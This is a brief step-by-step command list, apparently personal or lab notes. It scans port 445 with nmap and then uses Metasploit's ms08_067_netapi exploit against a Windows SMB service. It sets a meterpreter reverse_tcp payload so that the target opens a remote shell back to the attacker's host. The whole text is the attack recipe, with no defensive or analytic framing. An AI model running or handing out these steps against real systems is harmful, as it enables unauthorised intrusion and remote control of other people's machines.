Commands :
        nmap -n -sV target-ip -p 445

msfconsole

show exploits

use exploit/windows/smb/ms08_067_netapi

set payload windows/meterpreter/reverse_tcp

show options

set RHOST target-ip

set LHOST my-ip

exploit (or run)

Metasploit : https://www.metasploit.com/